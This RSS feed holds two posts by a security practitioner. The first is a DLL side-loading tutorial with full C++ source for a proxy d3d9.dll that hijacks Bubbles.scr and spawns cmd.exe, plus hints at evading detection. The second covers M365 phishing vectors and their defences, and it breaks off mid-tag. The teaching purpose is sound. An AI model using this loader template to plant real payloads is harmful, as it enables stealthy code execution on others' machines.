<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by EricaZelic on Medium]]></title>
        <description><![CDATA[Stories by EricaZelic on Medium]]></description>
        <link>https://medium.com/@ericazelic?source=rss-4b5e6b2d7e69------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WFYKSsQzxvfDrddkLqRVFA.png</url>
            <title>Stories by EricaZelic on Medium</title>
            <link>https://medium.com/@ericazelic?source=rss-4b5e6b2d7e69------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 07:02:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ericazelic/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Playing with Bubbles: An Introduction to DLL-Sideloading]]></title>
            <link>https://ericazelic.medium.com/playing-with-bubbles-an-introduction-to-dll-sideloading-2dce77a87d31?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dce77a87d31</guid>
            <category><![CDATA[dll-sideloading]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 12:54:33 GMT</pubDate>
            <atom:updated>2026-10-17T13:03:35.521Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*RTa6Jj7vW5gbQtY_.png" /></figure><p>This article was written in 2023 while I was working at Polito. I’m moving it to Medium with Fred’s permission. ❤ The original aritcle is linked <a href="https://www.politoinc.com/post/playing-with-bubbles-an-introduction-to-dll-sideloading">here</a>.</p><p>If you read reports from breaches and CISA advisories often, one of the Tactics, Techniques, and Procedures (TTPs) you will often see is <a href="https://attack.mitre.org/techniques/T1574/002/">DLL side-loading</a>. This is a common mechanism used in multi-stage payloads. Mapping them to the MITRE ATT&amp;CK Enterprise Framework TTPs may be different in various scenarios and may include TTPs within the Persistence, Execution, Privilege Escalation, and Defense Evasion categories.</p><p>DLL Side-Loading is a pervasive technique partially because its <strong>behavior </strong>is difficult to detect. As a sub-technique of DLL Hijacking, it takes advantage of execution flow and allows the adversary to trigger the payload without waiting for an event (i.e. user login, application restart, reboot).</p><p>In this post, we’ll make a benign DLL Side-Load executed from a Windows System32 application. We’ll use a <a href="https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain">public blog post</a> to guide us in development of our DLL.</p><p>To follow along, you’ll need the following installed:</p><ul><li>Windows machine with <a href="https://visualstudio.microsoft.com/vs/community/">Visual Studio</a> (2022 Community)</li><li>C\C++</li><li><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">ProcMon</a></li><li><a href="https://github.com/Accenture/Spartacus">Spartacus</a></li><li><a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a></li></ul><p>If the reader is unfamiliar with DLL Side-Loading, the following references will be helpful prior to proceeding:</p><ul><li><a href="https://attack.mitre.org/techniques/T1574/002/">https://attack.mitre.org/techniques/T1574/002/</a></li><li><a href="https://www.mandiant.com/resources/blog/abusing-dll-misconfigurations">https://www.mandiant.com/resources/blog/abusing-dll-misconfigurations</a></li><li><a href="https://www.mandiant.com/resources/reports/dll-side-loading-thorn-side-anti-virus-industry">https://www.mandiant.com/resources/reports/dll-side-loading-thorn-side-anti-virus-industry</a></li><li><a href="https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain">https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain</a></li><li><a href="https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/untitled-5/dll-side-loading">https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/untitled-5/dll-side-loading</a></li></ul><p>The first thing we’re going to do is look at c:\Windows\System32 in Explorer and find an application to test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/0*6QNsrTcPF2imUp8t.png" /></figure><p>Although Bubbles is a screen saver, it’s an executable. If you click on it, you should see bubbles go across your screen. If we look at the properties of the Bubbles screen saver, we can see that Users can <strong>execute </strong>this screen saver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*LN00jIMGdSB0nXke.png" /></figure><p>Now we’ll make a directory called c:\test and copy and paste the Bubbles.scr file into the c:\test folder. Then, open ProcMon and create filters for:</p><ul><li>path contains c:\test</li><li>path contains c:\windows\system32</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*e7bm_Wab6CGma0bE.png" /></figure><p>Now let’s capture events and see what happens if you click on Bubbles.scr from the c:\test directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yzo9dlVWCymrMSaR.png" /></figure><p>We can see the Bubbles.scr executable looks for several DLLs it needs in the same folder instead of where they are normally located in c:\Windows\System32. The result of this is NAME NOT FOUND. This means that when the executable was developed, relative paths were used instead of absolute paths. This is common in software development to make updates easier.</p><p>For this exercise we’ll explore if we can sideload the D3D9.dll. Before we make our own D3D9.dll, we need to know what function(s) the Bubbles.scr executable imports from D3D9.dll. We can do this with dumpbin.</p><p>First we’ll look at the imports table of Bubbles.scr.</p><pre>C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.35.32215\bin\Hostx86\x86&gt;dumpbin.exe /imports c:\Windows\System32\Bubbles.scr</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*j_7H70Vb4lU7Cu0K.png" /></figure><p>We can see Bubbles.scr imports the Direct3DCreate9 function from D3D9.dll. As a cross verification, we can use dumpbin to ensure D3D9.dll exports the Direct3DCreate9 function.</p><pre>C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.35.32215\bin\Hostx86\x86&gt;dumpbin.exe /exports c:\Windows\System32\d3d9.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*P_KuTpWpcFQJTUOK.png" /></figure><p>Now we’ll use a tool called <a href="https://github.com/Accenture/Spartacus">Spartacus </a>that detects if a DLL Sideload is present and generates skeleton code for us. If you prefer to do this manually, follow the steps in <a href="https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain">this blog</a>.</p><p>After installing the Spartacus dependencies and making sure ProcMon is in the right path, run the following command and execute Bubbles before stopping the capture.</p><pre>spartacus.exe --mode dll --procmon C:\SysInternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\VulnerableDLLFiles.csv --solution C:\Data\Solutions --verbose</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*F5VNOkTiaoGLbTHG.png" /></figure><p>Browsing to the path with the solution, we can see it made a skeleton DLL for us, which includes a debugging log. Note: DLLMain was snipped from the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5BlAYxCg0MzRXzsi.png" /></figure><p>We would like our code to execute outside of DLLMain. However, notice that our code is missing the structure and the Module Definition File was not set in the properties for proxying the Direct3DCreate9 function to the real D3D9.dll in c:\windows\system32.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nteBlriA6BpDXg44.png" /></figure><p>This makes sense because we haven’t told Spartacus we want to proxy D3D9.dll exports.</p><p>Going back to Spartacus, there are options to create solutions with proxied exports.</p><pre>spartacus.exe --mode proxy --ghidra C:\ghidra\ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\d3d9.dll --solution C:\Projects\spartacus-userenv --overwrite --verbose</pre><p>This worked, with a few imperfections.</p><p>1. The .def file was not added for the Linker. To add the .def file to the Module Definition File setting, right click on the d3d9 solution in the Solutions Explorer on the right-hand side of the screen and select “Properties” at the bottom of the drop down. Expand the Linker selection of the d3d9 Property Pages, select Input, select Module Definition File and add d3d9.def as pictured below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xqiZPTzyMycJd_4V.png" /></figure><p>2. When using Ghidra to create the solution for our d3d9.dll, it found an additional function being exported, which wasn’t in our dumpbin results earlier. You can comment out the code associated with the D3DPERF_GetStaus function because Bubbles.scr doesn’t import that function. The modified code is below, including the sections that were commented out to get the binary to compile. The cmdspawn() function was added to prove code execution outside of DLLMain.</p><pre>#pragma once</pre><pre>#pragma comment(linker,&quot;/export:D3DPERF_BeginEvent=c:\\windows\\system32\\d3d9.D3DPERF_BeginEvent,@27&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_EndEvent=c:\\windows\\system32\\d3d9.D3DPERF_EndEvent,@28&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_GetStatus=c:\\windows\\system32\\d3d9.D3DPERF_GetStatus,@29&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_QueryRepeatFrame=c:\\windows\\system32\\d3d9.D3DPERF_QueryRepeatFrame,@30&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_SetMarker=c:\\windows\\system32\\d3d9.D3DPERF_SetMarker,@31&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_SetOptions=c:\\windows\\system32\\d3d9.D3DPERF_SetOptions,@32&quot;)<br>#pragma comment(linker,&quot;/export:D3DPERF_SetRegion=c:\\windows\\system32\\d3d9.D3DPERF_SetRegion,@33&quot;)<br>#pragma comment(linker,&quot;/export:DebugSetLevel=c:\\windows\\system32\\d3d9.DebugSetLevel,@34&quot;)<br>#pragma comment(linker,&quot;/export:DebugSetMute=c:\\windows\\system32\\d3d9.DebugSetMute,@35&quot;)<br>#pragma comment(linker,&quot;/export:Direct3D9EnableMaximizedWindowedModeShim=c:\\windows\\system32\\d3d9.Direct3D9EnableMaximizedWindowedModeShim,@36&quot;)<br>// #pragma comment(linker,&quot;/export:Direct3DCreate9=c:\\windows\\system32\\d3d9.Direct3DCreate9,@37&quot;)<br>#pragma comment(linker,&quot;/export:Direct3DCreate9Ex=c:\\windows\\system32\\d3d9.Direct3DCreate9Ex,@38&quot;)<br>#pragma comment(linker,&quot;/export:Direct3DCreate9On12=c:\\windows\\system32\\d3d9.Direct3DCreate9On12,@20&quot;)<br>#pragma comment(linker,&quot;/export:Direct3DCreate9On12Ex=c:\\windows\\system32\\d3d9.Direct3DCreate9On12Ex,@21&quot;)<br>#pragma comment(linker,&quot;/export:Direct3DShaderValidatorCreate9=c:\\windows\\system32\\d3d9.Direct3DShaderValidatorCreate9,@24&quot;)<br>#pragma comment(linker,&quot;/export:PSGPError=c:\\windows\\system32\\d3d9.PSGPError,@25&quot;)<br>#pragma comment(linker,&quot;/export:PSGPSampleTexture=c:\\windows\\system32\\d3d9.PSGPSampleTexture,@26&quot;)</pre><pre>#include &quot;windows.h&quot;<br>#include &quot;ios&quot;<br>#include &quot;fstream&quot;<br></pre><pre>//Test for added code execution<br>void cmdspawn()<br>{<br>    WinExec(&quot;cmd.exe&quot;, 1);<br>}</pre><pre>//typedef BOOL(*D3DPERF_GetStatus_Type)();<br>typedef LONGLONG *(*Direct3DCreate9_Type)(unsigned int param_1);<br></pre><pre>// Remove this line if you aren&#39;t proxying any functions.<br>HMODULE hModule = LoadLibrary(L&quot;c:\\windows\\system32\\d3d9.dll&quot;);</pre><pre>// Remove this function if you aren&#39;t proxying any functions.<br>//VOID DebugToFile(LPCSTR szInput)<br>//{<br>    //std::ofstream log(&quot;spartacus-proxy-d3d9.log&quot;, std::ios_base::app | std::ios_base::out);<br>    //log &lt;&lt; szInput;<br>    //log &lt;&lt; &quot;\n&quot;;<br>//}</pre><pre>BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)<br>{<br>    switch (ul_reason_for_call)<br>    {<br>    case DLL_PROCESS_ATTACH:<br>    case DLL_THREAD_ATTACH:<br>    case DLL_THREAD_DETACH:<br>    case DLL_PROCESS_DETACH:<br>        break;<br>    }<br>    return TRUE;<br>}</pre><pre>//BOOL D3DPERF_GetStatus_Proxy()<br>//{<br>	//DebugToFile(&quot;D3DPERF_GetStatus&quot;);<br>	//D3DPERF_GetStatus_Type original = (D3DPERF_GetStatus_Type)GetProcAddress(hModule, &quot;D3DPERF_GetStatus&quot;);<br>	//return original();<br></pre><pre>LONGLONG * Direct3DCreate9_Proxy(unsigned int param_1)<br>{<br>	//DebugToFile(&quot;Direct3DCreate9&quot;);<br>    cmdspawn();<br>	Direct3DCreate9_Type original = (Direct3DCreate9_Type)GetProcAddress(hModule, &quot;Direct3DCreate9&quot;);<br>	return original(param_1);<br>}</pre><p>3. The .def file will have to be modified as well to remove the proxy of the D3DPERF_GetStaus function.</p><pre>LIBRARY d3d9.dll<br>EXPORTS<br>	Direct3DCreate9=Direct3DCreate9_Proxy</pre><p>Now that we have our d3d9.dll made, place it in the c:\test directory along with the copy of Bubbles.scr from c:\windows\system32. Double click on Bubbles.scr. The screen will go black for up to a few seconds and when it returns to your desktop, a terminal window will appear on the screen.</p><p>Looking at the execution of Bubbles.scr from c:\test in ProcMon, we can observe the d3d9.dll image we created being loaded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-6eGnC49Ezd6rqmD.png" /></figure><p>If we double click the image load to open the Event Properties and select the Process tab, we can see it looks like the Microsoft version of d3d9.dll but it’s missing the build version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*STXEC05D1kO-6gBm.png" /></figure><p>Further exploring some of the differences between the d3d9.dll we created versus Microsoft’s d3d9.dll, let’s look at a side-by-side comparison of dumpbin results for both images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*ji6tH8-PZ8awiu4K.png" /></figure><p>We notice that the results don’t include the Relative Virtual Address (RVA) for exports in our faked DLL, we can see which function was proxied, and all the other functions point to the Windows native DLL.</p><p>Looking at the properties of each DLL, we observe additional differences. It’s important to keep in mind that we could do more work on our DLL to account for these differences, but let’s still explore them.</p><p>First, we can see the real DLL permissions require TrustedInstaller for Full Control:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*a6nkxkOchPrInmOW.png" /></figure><p>Second, we can see our faked DLL is not digitally signed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*8MxqiK7EWWiSaTLh.png" /></figure><p>We can also compare the size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*cythgc0giySCvTsW.png" /></figure><p>After fully developing a malicious DLL, we would also compare the entropy, attempt to make the size and entropy match, and spoof signing.</p><p>Unfortunately, aside from <strong>maybe </strong>Microsoft Defender for Endpoint (MDE), this <strong>behavior </strong>is not going to produce detections or artifacts aside from what’s indexed on disk in <strong>default configurations </strong>of most Endpoint Detection products. Currently, detection occurs where and how you deliver your payload, which is usually in the form of multiple stages and shellcode executed in memory. This is a contributing factor for why this 13-year-old technique is still evasive and pervasive today. According to MITRE ATT&amp;CK, the following threat groups have been known to use this technique, but this is not a complete list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*crOkO66E7QMtStaQ.png" /></figure><p>Note: the above list was from MITRE ATT&amp;CK back in 2023. A lot has changed since then other than the fact that DLL Sideloading remains a very effective technique, even in the days of modern EDR. Some EDRs are better at detecting it than others since 2024 (i.e. Crowdstrike, Defender for Endpoint Plan 2). DLL Sideloading is a technique that offensive security practitioners and threat groups have been using for at least a decade.</p><h3>References</h3><p>Click the links in the article :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dce77a87d31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common Initial Access Vectors via Phishing in the Microsoft Cloud World]]></title>
            <link>https://ericazelic.medium.com/common-initial-access-vectors-via-phishing-in-the-microsoft-cloud-world-68eedb98f52d?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/68eedb98f52d</guid>
            <category><![CDATA[aitm]]></category>
            <category><![CDATA[m365-security]]></category>
            <category><![CDATA[m365]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[phishing-attacks]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Tue, 23 Sep 2025 16:37:18 GMT</pubDate>
            <atom:updated>2026-09-11T00:01:25.924Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hOaSRPbI08QTIKlwZUmTJw.png" /></figure><p><a href="https://entra.news/p/how-a-pharmacist-became-a-pro-hacker">How a Pharmacist Became a Pro Hacker (And What She Found in YOUR Tenant)</a></p><p>I recently had the opportunity to sit down with Merill Fernando on the Entra Chat podcast and discuss some of the security challenges I see many organizations facing today. This was a casual chat. In this post I’ll recap some of the things we discussed and provide defense suggestions that organizations can use to improve security in an effort to decrease the likelihood of incidents. The attacks I discussed have a higher likelihood of success in smaller organizations, sadly, due to licensing and organizational maturity in security.</p><h3>5 Common Initial Access Vectors</h3><p>This discussion is not all inclusive of initial access vectors for M365 that you may see. In my experience, these are some of the common initial access vectors that threat actors including ransom/extortion groups, business email compromise (BEC) actors, and state sponsored actors alike use to gain access into organizations M365 environments. What’s unique about these initial access vectors are that they work for attackers, even when MFA is enforced. Many organizations still heavily rely on MFA as the major defense against initial access. Today, we can’t count on MFA alone any longer.</p><h4>Illicit Consent</h4><p>Illicit Consent attacks can be delivered from anywhere to Global Admins, Privileged Role Admins, Cloud App Admins, and Application admins if the admin consent workflow is enabled. This gives an attacker from an external perspective an opportunity to gain initial access. From a post-exploitation perspective (an account is already compromised), the attacker can leverage this attack to move laterally via phishing from within the organization, depending on the settings in Entra.</p><p>An Illicit Consent Grant Attack is a type of attack targeting Entra, in which an attacker:</p><ul><li>Registers a malicious (or “rogue”) application in Azure AD under their control.</li><li>Requests permissions (scopes) such as reading emails, accessing files on OneDrive, reading contacts, etc.</li><li>Tricks a legitimate user (often via phishing or social engineering) into granting <em>consent</em> to that app.</li></ul><p>Once consent is granted, the attacker can use the app to obtain access tokens / refresh tokens, enabling them to act as the user — reading or sending mail, accessing or uploading files, etc.</p><p>Here’s a simplified attack flow:</p><ol><li><strong>App Registration</strong><br> The attacker creates an Entra “Multi-Tenant” app registration, giving it a name likely to appear trustworthy. They set a redirect URL to a domain they control.</li><li><strong>Assigning Permissions</strong><br> They assign delegated API permissions to their app — for example, permissions that allow reading a user’s mail and contacts.</li><li><strong>Generating a Consent Link</strong><br> They build a link (OAuth flow) containing the client ID, scopes, etc., and send it to targeted users. The link leads users to Microsoft’s own consent page (thus appearing legitimate), where clicking “Accept” gives the app the requested permissions.</li><li><strong>Obtaining Tokens</strong><br> After consent, Entra returns an <strong>authorization code</strong> which the attacker exchanges for an <strong>access token</strong> and <strong>refresh token</strong>. With the refresh token, they can request new access tokens over time without needing the user to re-authenticate.</li><li><strong>Data Access and Persistence</strong><br> Using those tokens, the attacker can perform activities associated with whatever API permissions were granted. Some examples: read mail, upload or download OneDrive files, send emails, create email forwarding rules, exfiltrate sensitive chats, etc. Tools like <em>365-Stealer</em> automate much of this to make the attack more scalable and persistent.</li></ol><p>These attacks are not new. They’ve been around for at least 5 years. However, they’ve become more popular in recent years despite the mitigations Microsoft has put in place over the years. For example, when creating a multi-tenant application, Microsoft requires you to be a verified publisher to request API permission consents from unprivileged users in other tenants. Otherwise, the consent will trigger the admin consent flow in Entra if configured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8FiZHbvfb3Tp4bt1sO_mkg.png" /></figure><p>There are a couple of problems still. Threat actors have been known to become verified publishers in some cases. Threat researchers from organizations like <a href="https://www.proofpoint.com/us/blog/cloud-security/dangerous-consequences-threat-actors-abusing-microsofts-verified-publisher">Proofpoint </a>and <a href="https://msrc.microsoft.com/blog/2023/01/threat-actor-consent-phishing-campaign-abusing-the-verified-publisher-process/">Microsoft </a>have alerted the public to campaigns using this attack as verified publishers.</p><p>Recently, Microsoft has removed the setting that used to allow all users to consent to delegated API permissions from external multitenant apps and replaced it with <a href="https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-app-consent-policies?pivots=ms-graph#microsoft-recommended-current-settings">Microsoft managed settings</a> that are now the default, shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfHiC_REGxk5JwAcqiZfNg.png" /></figure><p>You can change the <a href="https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-app-consent-policies?pivots=ms-graph#microsoft-recommended-current-settings">consent policy</a> for single-tenant apps to require a Verified Publisher to prevent post-exploitation lateral movement phishing attacks. By default, it allows low-privileged users to consent to delegated API permissions for local single-tenant apps which are not Verified Publishers.</p><p>The other problem is users and admins can still be phished if an admin can be tricked into consenting to the API permissions requested via the admin consent flow. The following admin roles can approve API consents in this attack: Global Admin, Cloud Application Admin, Application Admin, and Privileged Role Admin. In the world of AI, there’s a lot of ways to make this very believable. Smaller organizations may be more susceptible to this attack as they tend to have less maturity in security. If an admin is tricked into consenting permissions for an app, especially tenant-wide, this will open the door for an attacker to have long term access to the tenant based on whatever API permissions were consented. The consented app will not require MFA and will not abide by Named Locations.</p><p><strong>What can you do?</strong></p><ol><li>Train admins about this attack vector so they understand the threat.</li><li>Require a security review for users requesting apps that provide access to the M365 tenant via any APIs.</li><li>When requiring a security review, ensure that skilled members of the security team are included when you enable the admin consent flow.</li><li>Determine if the third party app has a legitimate use case and offers value to the organization. Most of the time, these scenarios will not.</li><li>Consult with the Compliance team to determine if the M365 API permissions grant an application access to controlled or regulated data. There’s a great chance it will and it will not fall within the compliance requirements of the organization, depending on the vertical.</li><li>If you’d like to determine all the consented applications in your tenant, you can use the MSIdentityTools powershell script called <a href="https://github.com/AzureAD/MSIdentityTools/blob/main/src/Export-MsIdAppConsentGrantReport.ps1">Export-MsIdAppConsentGrantReport</a> created by Merill Fernando from Microsoft. This will produce an Excel workbook for you to track down all consents in your tenant. Go through all the app consents and confirm they are legitimate.</li><li>If you find suspicious applications in your organization and need to remediate access, follow <a href="https://learn.microsoft.com/en-us/defender-office-365/detect-and-remediate-illicit-consent-grants">Microsoft’s instructions</a>.</li><li>If your tenant is licensed for Defender for Cloud Apps (DFCA), enable email notifications for the security team for some of the out-of-the-box detections like Risky Oauth Apps. If you are using app governance in DFCA and not another CASB solution, DFCA will alert on anomalous app behaviors. You might also consider creating custom detections in DFCA or Power Automate Flows to remediate high risk alerts. However, Power Automate remediations will need to be tested extensively and rolled out slowly to prevent user experience issues.</li><li>In Entra, disable the ability for non-admin users to create app registrations and consider adjusting your Enterprise Application <a href="https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-app-consent-policies?pivots=ms-graph#microsoft-recommended-current-settings">Consent Policies</a> to require a Verified Publisher for users to consent to delegated API permissions using <a href="https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-app-consent-policies?pivots=ms-powershell#microsoft-recommended-current-settings">PowerShell</a>.</li></ol><h4>Teams Impersonation</h4><p>In the past 2 years, there have been reports of threat actors using Teams meetings to gain initial access. When using a Public Teams client, anyone can send someone a Teams meeting and impersonate internal users. When meeting invites are sent from public Teams clients, the name of the meeting organizer can be changed to impersonate members of your organization and easily trick users into joining the meeting. Once a users joins the meeting, they can be socially engineered into clicking malicious links, downloading RMM tools and other signed binaries, downloading malware, or installing infostealers. Additionally, even if the Teams meeting ended abruptly or without exploitation, the threat actor can still communicate via Teams chat at a later time to trick users into downloading malware or clicking malicious links. Remember, some malicious links are Microsoft links (i.e. Teams meetings, device code authentication, <a href="https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/">Oauth Authorization Codes</a>), so they won’t be detected or mitigated with defense solutions without a custom solution, at the time of writing.</p><p><strong>What can you do?</strong></p><ol><li>You can block Public and Consumer Teams clients in the Teams admin center, however, this will cause user impacts that may not be compatible with your organization. These settings can be changed with <a href="https://learn.microsoft.com/en-us/powershell/module/microsoftteams/set-cstenantfederationconfiguration?view=teams-ps">Teams PowerShell</a> or in the UI. In the screenshot below, the settings highlighted in yellow will be the settings you want to consider. Again, these settings may cause user impacts and make Teams unusable for certain activities, so be sure to understand the impacts before you change them. NOTE: This will not affect attacks coming from a malicious M365 tenant or compromised M365 tenant.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTfoEi6863kVZ4pwexP3ZA.png" /></figure><p>2. Microsoft recommends to leave anonymous access enabled in the Teams documentation, but suggests turning it off in the Defender for Office365 documentation. You will have to make the decision for your organization after careful evaluation of user impacts. NOTE: This will not affect attacks coming from a malicious M365 tenant or compromised M365 tenant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oUNCq5UcbKot_nE6sChheQ.png" /></figure><p>3. Consider creating custom detections and remediations using Power Automate for these attacks by observing the telemetry in the Unified Audit Logs, Exchange Message Trace Logs, and Entra non-interactive Sign-in Logs. NOTE: automated remediations should only be considered after thorough investigation of how your organization uses Teams and comprehensive testing has occurred.</p><p><strong>09/26/25 Update: For clarity, the below recommendations will not affect attacks originating from a Public or Consumer Teams clients. These security settings are to secure meetings within your Teams only.</strong></p><p>4. In Meeting Policies → Global (Org-Wide Default), evaluate the following settings that will or will not work for you organization. Focus on anonymous users ability to send, invite other participants, chat, require admittance, etc. Before changing these settings, ensure you understand the difference between anonymous users, public clients, and consumer clients as well as how every department in your organization is using Teams to determine impacts. The Global (Org-Wide Default) will affect all other policies. Many organizations choose to leave these permissive then create other policies using Teams Group Policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9lxYeLmTvruci2_HHzYg8Q.png" /></figure><p>Also in the Meeting Policies → Global (Org-Wide Settings), careful consideration should be given to all of the Meeting Engagement settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7BBEfMUmcomVcUzIdvU0ZA.png" /></figure><p>In the next section of the Global (Org-Wide Settings) Meeting Policy, consider the below settings with special attention to the setting highlighted in yellow below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z9vgV_gHFBEjT_EazK-ZhQ.png" /></figure><p>5. Enable all Teams protections in <a href="https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-about">Defender for Office365</a> that come with your licensing. This <strong><em>may </em></strong>include Teams Zap, Safe Links for Teams, Safe Attachments, Allow Users to Report Security Events from Teams, and ensure your Email and Collaboration Threat Policies in the Security Center are adequately configured. Unfortunately, many of the protections for Teams only come with E5 licensing. However, organizations can choose to purchase Defender for Office365 Plan 2 as an addon. I highly recommend this for organizations using Teams for high privileged users not using a PAWs, and unprivileged Members with access to sensitive or regulated data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDVOOPsi6GybD0C1ZQ_I5g.png" /></figure><p>NOTE: For organizations that require IP Allow-Lists via Named Locations and/or managed device requirements for access to Microsoft Cloud, <strong>the risk associated with Teams meeting attacks is with downloading RMM tools, signed binaries, payloads, or malware designed to compromise the device or leverage infostealers.</strong> For organizations that do NOT allow BYOD, or DO require Named Locations with IP Allow-Lists, some follow-on attacks within Teams in this blog post would be mitigated. This includes device code phishing and Entra targeted Adversary-in-the-Middle attacks.</p><h4>Device Code Phishing</h4><p><a href="https://aadinternals.com/post/phishing/">Device Code Phishing</a> has been around for at least 5 years now. It has been reworked into <a href="https://www.blackhillsinfosec.com/dynamic-device-code-phishing/">Dynamic Device Code Phishing</a> in various delivery methods to increase the likelihood of success. What makes this initial access vector so likely is that, even if you have phishing-resistant MFA enforced, it will still succeed without other mitigating controls.</p><p><strong>What can you do?</strong></p><ol><li>Enforce the Microsoft Managed Conditional Access Policy to Block device code authentication for as many users in the organization as possible.</li><li>Require Named Locations using IP Allow-Lists</li><li>Use Conditional Access Policies to require company owned managed assets</li><li>Ensure your Conditional Access Policies are targeting “All Cloud Resources”</li></ol><h4>Adversary-in-the-Middle (AITM)</h4><p>AITM attacks have been around since at least 2019. These attacks use a reverse proxy to intercept authentication by sending users a malicious link then forwarding the authentication on to Entra. Entra will then evaluate the Conditional Access Policies and determine if the authentication will succeed.</p><p>One of the main mitigations to this attack was phishing-resistant MFA methods that utilize FIDO2/webauthn and/or Certificate Based Authentication (CBA). However, in the past couple years, it has been known that the authentication strength can be downgraded most of the time. This year, a public Evilginx phishlet was released which downgrades the authentication to a less secure method like SMS or One-Time Passcode when targeting Entra by changing the user-agent string to one associated with a technology that cannot enforce modern phishing resistant protocols. What does this mean? Even if you’ve rolled out phishing resistant authentication to your organization like FIDO2 passkeys, an attacker can downgrade the authentication to a less secure MFA method and intercept the MFA claim to gain access to M365.</p><p><strong>What can you do?</strong></p><ol><li>Make sure there are no users in Per-User MFA and disable second factor authentication methods within it.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9NUocmcdh208BUqh91OgA.png" /></figure><p>2. Ensure your Entra Authentication Policies don’t allow multiple methods unless they are all phishing resistant. In the below screenshot, the authentication methods that are phishing resistant are highlighted green and the methods that are not fully phishing resistant are highlighted yellow. Keep in mind that phishing resistance only applies to AITM attacks, and not Illicit Consents or Device Code Authentication phishing attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYGp2chDxYoRC5D_XUyI1g.png" /></figure><p>Microsoft Authenticator is phishing resistant to AITM attacks only when it is configured to require passkeys and does not allow One-Time Passcode (OTP) like shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0LA8iiLsCuf8XF3ACgQWw.png" /></figure><p>You will also need to consider the following setting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cc6h2PZsNwFDQVEGu_kMIg.png" /></figure><p>In registration campaigns, you will need to set Snooze to zero.</p><figure><img alt="" 